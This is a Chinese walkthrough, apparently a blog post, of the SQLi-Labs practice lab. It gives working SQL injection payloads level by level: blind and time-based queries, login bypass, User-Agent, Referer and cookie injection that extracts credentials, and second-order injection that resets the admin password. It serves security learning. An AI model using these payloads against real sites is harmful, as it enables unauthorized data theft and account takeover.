结构化查询语言,也叫作SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL经过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们老是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以及Postgresql。如今有一些程序能让咱们有能力经过结构化查询来管理大型数据库。php
咱们将要使用的实验室是SQLi Labs,它是一个能够从https://github.com/Audi-1/sqli-labs免费下载,以便咱们研究学习以及编写安全的程序。mysql
关键代码:git
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";github
能够看到对于直接 GET 进来的文本没有过滤。
同时,在查询语句中,id='$id',变量加了引号。这里引号的意思是把输入的 id 当作字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。sql
?id=12a 显示id为12的用户 ?id=1a2a 显示id为1的用户 ?id=102a 显示id为102的用户(不存在) 盲注 ?id=1%27and+left(version(),1)=5%23 得出数据库版本为5开头 ?id=1%27and+length(database())=8%23 数据库名长度为8 ?id=1%27and+left(database(),8)='security'%23 数据库为security ?id=1%27and+length(username)=4%23 用户名长度为4 ?id=1%27and+left(username,4)='Dumb'%23 用户名为Dumb ?id=1%27and+length(password)=4%23 密码长度为4 ?id=1%27and+left(password,4)='Dumb'%23 密码为Dumb
关键代码:数据库
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";编程
一样未作过滤,但此处的变量 id 无引号。大概是直接将变量 id 当作整形传入查询。安全
?id=12 显示 id 为 12 的用户 ?id=12a 报错:Unknown column '12a' in 'where clause' ?id=%31 显示 id 为 1 的用户 注入测试: ?id=1+and+left(version(),1)=5 直接注入便可获得版本号
关键代码:服务器
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";cookie
未过滤,但变量 id 加了引号和括号。将变量 id 以字符串形式引入,和Less-1很像,可是却又多了个括号,猜想是防止注入语句。
注入测试: ?id=12+and+1=1 显示正确 ?id=12+an 不彻底语句也显示正确 猜想:括号将变量限制在括号范围内,尝试手动提早匹配括号注入。 ?id=12%27 成功报错:''12'') LIMIT 0,1' at line 1 ?id=1%27%29and+1=2%23 无显示,可注入 上面那条语句还原到 SQL 语句时,为: SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1
将括号提早结束且用 #号注释掉接下来的语句。接下来的注入只要替换 and 1=1 语句就好了。
关键代码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
对变量 id 作了处理。该处理在 id 先后添加双引号。
?id=1%22%29+and+1=2%23 无显示,可注入 SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
关键代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1'and+1=2#
关键代码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1"and+1=2#
关键代码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
?id=1'))and 1=2#
关键代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1' and 1=2#
尝试了不少次,各类组合,可是服务器返回的结果都是同样。
尝试 ?id=10000000000
返回结果也是正确,由于不存在这么大的 id,因此判断这个页面把正确和错误的信息所有返回一致。
因而,使用基于时间的注入,构造如下语句:
?id=1' and sleep(5) %23
若是错误,则服务器处理5秒再返回,不然直接返回,找到正确的注入点。
?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 ?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23 第一个语句暂停五秒第二个直接返回,判断数据库名的第一个字母为s(ascii为115)
又是一个基于时间的注入,尝试了下,注入点在这:
?id=1" and sleep(5) %23
这个页面采用 POST 的方法获得数据。因而用 HackBar 修改 post 数据进行测试:
uname=admin&passwd=123' 显示: ''123'' LIMIT 0,1' 去掉单引号 '123'' LIMIT 0,1 再去掉密码的单引号 123' LIMIT 0,1
因此肯定是单引号注入,直接万能密钥试试:
uname=admin' or '1'='1 &passwd=123456
这里的话有个点:
若是输入:uname=admin' or '1'='1 &passwd=123456,会显示失败,为何呢?
首先and的优先级高于or 【就是and先运算】
那么'1'='1' and password='123456'先运算,由于users表里面的password字段没有一个数据时test,右边是false,那么整个表达式就是false
这个时候整个的语句就是:
SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1
数据库里没有test用户,因此就失败了。
而万能密钥的语句是:
SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1
对于上述的状况,咱们在密码字段加入便可
uname=test&passwd=123456' or '1'='1 SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1
先尝试单引号,双引号。
输入:
uname=test&passwd=123456"
报错:
'"123456"") LIMIT 0,1'
123456") LIMIT 0,1
构造POC:
uname=test&passwd=123456") or "1"="1"#
先尝试单引号,双引号。
输入:
uname=test&passwd=123456'
报错:
''123456'') LIMIT 0,1'
123456') LIMIT 0,1
构造POC:
uname=test&passwd=123456') or ('1')=('1
或者
uname=test&passwd=123456') or "1"="1"#
先尝试单引号,双引号。
输入:
uname=test&passwd=123456"
报错:
'"123456"" LIMIT 0,1'
123456" LIMIT 0,1
构造POC:
uname=test&passwd=123456" or "1"="1"#
或者
uname=test&passwd=123456" or "1"="1
这里输入单引号,双引号就不会报错了,咱们只能加上永真永假或者时间延迟函数了。
测试发现时间延迟不行。
uname=test&passwd=123456' or 1=1#
直接成功了,
试一下盲注也是能够得。
uname=test&passwd=123456' or length(database())=8#
uname=test&passwd=123456") or 1=1#
成功登录,时间延迟注入试试
uname=test&passwd=123456") or if(length(database())=7,1,sleep(5)) # 暂停,说明不对 uname=test&passwd=123456") or if(length(database())=8,1,sleep(5)) # 成功登录
uname=admin&passwd=123456' where username='admin' and 1=2 # 对应的SQL语句是: UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'
这是 Header 注入。
意思是,从服务器要求的 Header 头里面找到能够注入的注入点。
从源代码能够看出,服务器将 Header 里面的 user-agent 的值没有通过过滤就带入了 insert into 语句,这就形成了注入。
$uagent = $_SERVER['HTTP_USER_AGENT']; ... $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
首先,抓包。
还有一个问题就是,insert into 语句要在登录成功后才能执行,因此必须输入正确的用户和密码再抓包。
xpath注入: payload:updatexml(1,concat(0x7e,(version())),0) 第一个参数是 目标xml 第二个参数是 xpath的表达式,这个看w3c那个xpath教程 第三个参数是 要将xpath的表达式的东西将目标xml替换成什么
POC:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")# 响应: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")# XPATH syntax error: ':5.5.47' User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")# 响应: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1") XPATH syntax error: ':Dumb'
POC:
Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")# 响应: Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1") XPATH syntax error: ':5.5.47'
这里也能够用一个报错函数extractvalue
第一个参数也是个xml,第二个参数就是xpath的表达式,这个函数是获取xml中某个节点的值
与updatexml一次只能更新一个节点不一样,extractvalue能够一次获取多个节点的值,并以空格分隔
POC:
Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')# 响应: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')# XPATH syntax error: ':5.5.47'
这题用 Cookies 注入
POC:
Cookie: uname=admin'; 报错 Cookie: uname=admin' order by 3#; 正常显示 Cookie: uname=admin' order by 4#; 报错,因此是三个字段 Cookie: uname=admin' and 1=2 union select 1,2,3#; 显示2,3 Cookie: uname=admin' and 1=2 union select 1,database(),version()#; 数据库:security,版本:5.5.47 Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#; 表名:emails,referers,uagents,users,这里也能够用limit语句 Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#; 字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#; 内容:Your Login name:Dumb Your Password:Dumb
cookies 注入
可是,这一次的 cookies 是加密的.
setcookie('uname', base64_encode($row1['username']), time()+3600); ... $cookee = base64_decode($cookee);
POC:
') union select 1,2,username from users# JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw== 显示密码Dumb
单引号换成双引号就好了
uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj Your Login name:2 Your Password:Dum
这一题它在输入的时候过滤了几个字符
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
因此,咱们不能用 #来注释掉剩下的查询语句。
那么该怎么办呢?
一个办法就是,让剩下的语句变得完整就行。
查询语句的代码为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造语句:
?id=1'and+'1'='1
二次注入
与数据库交互的有三个页面:login_create.php,login.php,pass_change.php
login_create.php,登录页面对用户和密码都进行了处理。
$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
login_create.php对新建用户进行处理
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);
pass_change.php是修改密码的
关键代码:
$username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); ...
能够发现
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
更改密码时$username没有任何过滤,直接带入进去,若是$username后面有个注释符,那么咱们能够直接绕过验证$curr_pass而直接更改密码。
因此咱们要建一个有注释符的特殊用户
用户名:admin'+#+ 密码: 123456
而后登录,进入更改密码页面
随便输入当前密码,而后输入咱们要更改的密码
YOU ARE LOGGED IN AS admin' # You can Change your password here. Current Password: 123 New Password: 123456 Retype Password: 123456
提交,你会发现,admin的密码已经被咱们改为123456了。
这题的意思是,“你的 AND 和 OR 都是咱们的了!”...
就是,AND 和 OR 所有都被过滤掉了。
AND==&& OR==|| ?id=1' && '1'='1 url编码 ?id=1' %26%26 '1'='1
欢迎访问个人独立博客:joy_nick